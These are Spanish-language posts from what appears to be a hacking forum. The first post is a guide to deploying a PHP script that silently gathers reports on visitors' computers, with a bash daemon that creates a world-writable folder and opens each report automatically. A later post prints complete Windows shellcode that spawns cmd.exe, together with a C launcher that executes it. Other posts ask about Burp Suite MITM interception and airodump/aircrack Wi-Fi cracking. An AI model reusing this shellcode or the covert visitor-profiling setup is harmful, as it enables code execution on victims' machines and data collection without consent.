Okey, resumiendo... Éstas son cosas básicas que todos deberían de saber, pero de todas formas lo aclaro. Hasta ahora tenemos nuestro nombre de dominio, cuando alguien lo abra, el navegador va a tener que hacer una consulta al servidor DNS para que resuelva en nuestra IP pública... Luego llega el paquete del cliente a nuestro router, y el mismo es el que decide a cuál de todas las máquinas que tenemos en la red LAN se lo va a llevar. Nosotros en el paso 2 dijimos que todo lo que llegue al puerto 80, lo dirija a la máquina en la que tenemos corriendo Apache... Okey, prosigamos.


4 - Ejecutar apache:
service apache2 start

Una vez ejecutado ésto, tenemos nuestro servidor web Apache abierto escuchando en el puerto 80 (http) y 443 (https), eso quiere decir que si alguien se conecta a nosotros a traves del dominio que creamos, automáticamente pasaría a ejecutarse el index.php que se encuentre en el directorio /var/www/hml, ahora en el siguiente punto lo van a entender mejor.

5 - Descargar el script PHP creado por Redtoor desde el siguiente sitio:

https://github.com/RedToor/GetDataReport/blob/master/GetdataReport.php

Si tienen una web éste PHP lo pueden utilizar en el sitio que deseen, en nuestro caso vamos a renombrarlo index.php y localizarlo en la carpeta /var/www/html
En ésta última carpeta se almacenan los archivos a los cuales podemos acceder desde la web. index.php es lo primero que se ejecuta cuando alguien abre nuestra web.

Pueden ver la explicación del código fuente desde el siguiente enlace:
https://www.youtube.com/watch?v=ExzrVs6cnJQ

LISTO! Ahora dentro de nuestra carpeta /var/www/html se irán generando reportes de la información de las PC's que se conectaron a nosotros a través del dominio que creamos...

6 - Por su puesto todo ésto no tendría tanto sentido si no contribuyera con un script propio para añadir una nueva funcionalidad. Lo que hace el script hecho en bash que les voy a mostrar es esperar a que se cree el archivo de reporte, una vez creado se abre automáticamente con el iceweasel... Básicamente es eso, pero para lograrlo tuve que hacer un par de artimañas, para entenderlas les recomendaría leer mi código fuente y entender también el código fuente del PHP de Redtoor...
Aquí va el script:

Código (bash) [Seleccionar]
#!/bin/bash
#     ___         ______        ___
#    / _ )__ __  / __/ /_____ _/ (_)
#   / _  / // / _\ \/  '_/ _ `/ / /
#  /____/\_, / /___/_/\_\\_,_/_/_/  
#       /___/                      
# _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _  
#  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
#
#  Éste script trabaja en conjunto con una modificación de la herramienta
#  de reporte GetDataReport escrita en PHP por RedToor.
#  Básicamente, espera a que exista el archivo generado para abrirlo automáticamente.
#
#  Link de la herramienta: https://github.com/RedToor/GetDataReport/blob/master/GetdataReport.php
#
#  Para que funcione es necesario comentar la linea 177 de la herramienta    //$n=rand(0,9000);
#  Y modificar la línea 182  $open=fopen("Report-".$n.".htm",'w') or die ('Failed');
#                      por:  $open=fopen("/var/www/html/Report/Report.htm",'w') or die ('Failed');
#
#  Con ésto evitamos que el PHP almacene el archivo con un número aleatorio para poder localizarlo
#  univocamente con nustro script y que ésto sirva de disparador para poder abrirlo automáticamente.
#  Una vez localizado, nuestro script es el que se encarga de cambiarle el nombre por otro aleatorio
#  para almacenarlo, y finalmente se ejecuta el archivo con el iceweasel.
#
#  Se necesita tener un direcorio llamado Report dentro de /var/www/html, el script lo hace por vos:
#
pathFolder="/var/www/html/Report"; #Almacena el path de la carpeta para los reportes
if [ ! -d $pathFolder ]; then #Si no existe la carpeta, la crea y le da todos los permisos
mkdir $pathFolder;
chmod 777 $pathFolder;
fi
#
#
############# INTRODUZCA EL PATH DE SU REPORTE HTM AQUÍ ################
path="/var/www/html/Report/Report.htm";
# Éste path debe corresponderse con el que modificaron en:
# $open=fopen("/var/www/html/Report/Report.htm",'w') or die ('Failed');
########################################################################

pathBegin=`echo $path | cut -d "." -f1`; #Almacena el principio del path hasta el "." (punto)
pathExtension=`echo $path | cut -d "." -f2`; #Almacena la extensión del archivo

while [ 1 ]; do #Para dejarlo como daemon de forma persistente

pathRandom=`echo $pathBegin-$RANDOM.$pathExtension`; #Almacena el principio del path + un numero aleatorio + extención

if [ -f $path ]; then #Si ya existe un Reporte.htm , cambiarle el nombre por un Reporte + numero aleatorio
mv $path $pathRandom;
fi

while [ ! -f $path ]; do #Espera a que se cree el archivo llamado Reporte.htm en el path indicado
sleep 1;
done

mv $path $pathRandom; #Le cambia el nombre por un Reporte + numero aleatorio

iceweasel file://$pathRandom & #Se ejecuta automáticamente iceweasel en background abriendo el archivo generado

done;


P.D.: Si tienen algún método para identificar también las versiones de los pluggins y podrían aportarlo se los agradecería mucho!
#40
Hola que tal gente!!! Mi pregunta es esa, si alguno de ustedes consiguió un certificado... En caso afirmativo, qué tan complicado es obtenerlos? Cuál les parece el más facil y cuál el más dificil? A mi en lo personal me interesaría mucho obtener el de Explotation Expert, me encanta la parte de creación de exploits, reversing, técnicas para evadir al SO, al compilador, etc... Me falta mucho para ser bueno en ésto pero supongo que en 2 años más o menos podría estar lo suficientemente capacitado... Y la otra pregunta... Éstos certificados tienen mucho peso para las empresas? Si te certificas te empiezan a proponer muchas ofertas laborales para ser pentester? Y que piensan, existen certificados que tengan más peso que éstos que les digo?

Saludos y gracias por aportar su experiencia personal!
#41
Hola que tal camaradas! Estaba configurando el BurpSuite para usarlo junto con técnicas MITM y poder interceptar y modificar los paquetes que recibo... Resulta que en la sección de Opciones Proxy Listeners agrego mi ip local y el puerto 443, la hago invisible y la marco como running... Ningun problema, pero cuando quiero agregar mi ip local junto con el puerto 80, el programa no me deja marcar éste proxy como running. La casilla queda en blanco y es imposible marcarla. Ya probe con otros puertos, y el 80 es el único problematico... Alguna idea? Gracias desde ya!

Saludos
#42
Hola gente! No puedo entender la sintaxis de las lineas del main(), éstas lineas son necesarias para ejecutar el shellcode  (éste sirve para hacer bind a un puerto en Windows). No entiendo el uso de los paréntesis ni los punteros, ni los casts (escritos con esa sintaxis), si me ayudaran a entender se los agradecería! Saludos



char shellcode[] =      "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
                          "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
                          "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
                          "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
                          "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
                          "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
                          "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
                          "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
                          "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
                          "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
                          "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
                          "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
                          "\x00\x53\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";





int main(int argc, char **argv)
{
   int (*func)();
   func = (int (*)()) shellcode;
   (int)(*func)();
    return 0;
}
#43
Hola gente que tal! Bueno esa es la pregunta. Como captar mejor las señales de los routers y captar mas cantidad de los mismos
Gracias desde ya!
#44
Hola que tal. Quería saber si hay algún comando En el airodump para seguir capturando en un .cap ya creado (luego de haber cerrado el airodump) para no perder los ivs q habiq capturado anteriormente. Gracias!
#45
Hola que tal gente! Bueno básicamente esa es la pregunta. Si me conviene instalarlo en el disco  o correrlo desde memoria USB y por qué.

Mi disco:
Disco n.º 1 - WDC WD10EARS-00Y5B1 (931 GB)

Y mi otra pregunta es si es cierto que el aircrack funciona más rápido en wifislax que en kali linux. Gracias desde ya! :D